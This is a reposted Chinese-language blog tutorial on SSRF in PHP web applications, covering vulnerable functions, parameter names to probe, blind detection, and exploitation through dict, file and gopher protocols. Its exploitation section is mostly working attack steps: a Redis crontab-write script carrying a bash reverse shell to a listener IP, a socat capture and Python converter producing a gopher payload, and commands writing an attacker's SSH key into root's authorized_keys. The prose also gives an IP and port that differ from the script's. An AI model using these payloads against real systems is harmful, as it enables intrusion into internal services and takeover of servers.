原文: https://www.yuque.com/ni4n/blogs/rglvo3

漏洞说明

ssrf漏洞,全称为服务端请求伪造漏洞,由于有的web应用需要实现从其它服务器上获取资源的功能,但是没有对url进行限制,导致可以构造非本意的url对内网或者其它服务器发起恶意请求。即可以用它探测客户端请求不到的内部系统。

相关函数

  1. file_get_contents(),fsockopen(),curl_exec()三个函数使用不当时将会造成ssrf
  2. file_get_contents() 支持php://input协议
  3. curl_exec() 支持file, dict, gopher, httpftp协议
  4. fsockopen() 大部分 PHP 并不会开启 fopen gopher wrapper

漏洞危害

1.探测内网主机

2.探测服务器信息

3.getshell

漏洞挖掘技巧

通常url中会有以下关键字

  1. share
  2. wap
  3. url
  4. link
  5. src
  6. source
  7. target
  8. u
  9. 3g
  10. display
  11. sourceURl
  12. imageURL
  13. domain

漏洞判断

有回显信息

在漏洞处输入url看是否有页面信息

SSRF学习总结【转载】 - 图1

SSRF学习总结【转载】 - 图2

无回显信息

可利用bp的一个模块

SSRF学习总结【转载】 - 图3

或者在漏洞出输入 127.0.0.22等抓包看是否有回显信息

SSRF学习总结【转载】 - 图4

或者用dnslog

漏洞利用

有回显信息

dict协议

利用dict协议探测内网存活主机,探测端口

SSRF学习总结【转载】 - 图5

SSRF学习总结【转载】 - 图6

file协议

利用file协议查看文件

SSRF学习总结【转载】 - 图7

SSRF学习总结【转载】 - 图8

无回显信息

gopher协议(大杀器)

攻击内网 Redis

  1. 可进行利用的cron有如下几个地方:
  2. /etc/crontab 这个是肯定的
  3. /etc/cron.d/* 将任意文件写到该目录下,效果和crontab相同,格式也要和/etc/crontab相同。漏洞利用这个目录,可以做到不覆盖任何其他文件的情况进行弹shell。
  4. /var/spool/cron/root centos系统下root用户的cron文件
  5. /var/spool/cron/crontabs/root debian系统下root用户的cron文件

首先在redis的目录下写一个shell脚本

  1. echo -e "\n\n* * * * * bash -i >& /dev/tcp/192.168.44.130/4444 0>&1\n\n" | redis-cli -h $1 -p $2 -x set 1
  2. redis-cli -h $1 -p $2 config set dir /etc/
  3. redis-cli -h $1 -p $2 config set dbfilename crontab
  4. redis-cli -h $1 -p $2 save
  5. redis-cli -h $1 -p $2 quit

在Redis的第0个数据库中添加key为1,名为root的定时任务,value字段最后会多一个n是因为echo重定向最后会自带一个换行符,位置为CentOS机器的/var/spool/cron/,10.1.1.200为获取反弹shell的本地IP地址,2333为反弹shell的监听端口,可随意设置。

然后打开一个终端执行

  1. socat -v tcp-listen:4444,fork tcp-connect:localhost:6379

然后执行

  1. ./shell.sh 127.0.0.1 4444

将接收到的数据保存转换

脚本如下

  1. #coding: utf-8
  2. import sys
  3. exp = ''
  4. with open("payload.txt") as f:
  5. for line in f.readlines():
  6. if line[0] in '><+':
  7. continue
  8. # 判断倒数第2、3字符串是否为\r
  9. elif line[-3:-1] == r'\r':
  10. #如果该行只有\r,将\r替换成%0a%0d%0a
  11. if len(line) == 3:
  12. exp = exp + '%0a%0d%0a'
  13. else:
  14. line = line.replace(r'\r', '%0d%0a')
  15. # 去掉最后的换行符
  16. line = line.replace('\n', '')
  17. exp = exp + line
  18. # 判断是否是空行,空行替换为%0a
  19. elif line == '\x0a':
  20. exp = exp + '%0a'
  21. else:
  22. line = line.replace('\n', '')
  23. exp = exp + line
  24. print exp

然后漏洞处输入

  1. gopher://ip:6379/_+payload 注意要加_

写公钥,ssh登录

将公钥写入目标机缓存

  1. ssh-keygen -t rsa
  2. (echo -e "\n\n"; cat ~/.ssh/id_rsa.pub; echo -e "\n\n") > /tmp/foo.txt
  3. cat /tmp/foo.txt | redis-cli -h 192.168.1.100 -p 6379 -x set crackit
  4. redis-cli -h 192.168.1.100 -p 6379

写入公钥

  1. 192.168.1.100:6379> config set dir /root/.ssh/
  2. config get dir
  3. config set dbfilename "authorized_keys"
  4. save
  5. quit

打mysql

利用gopherus工具

https://github.com/tarunkant/Gopherus

绕过方法

https://www.secpulse.com/archives/65832.html

redis安装方法

https://woj.app/1176.html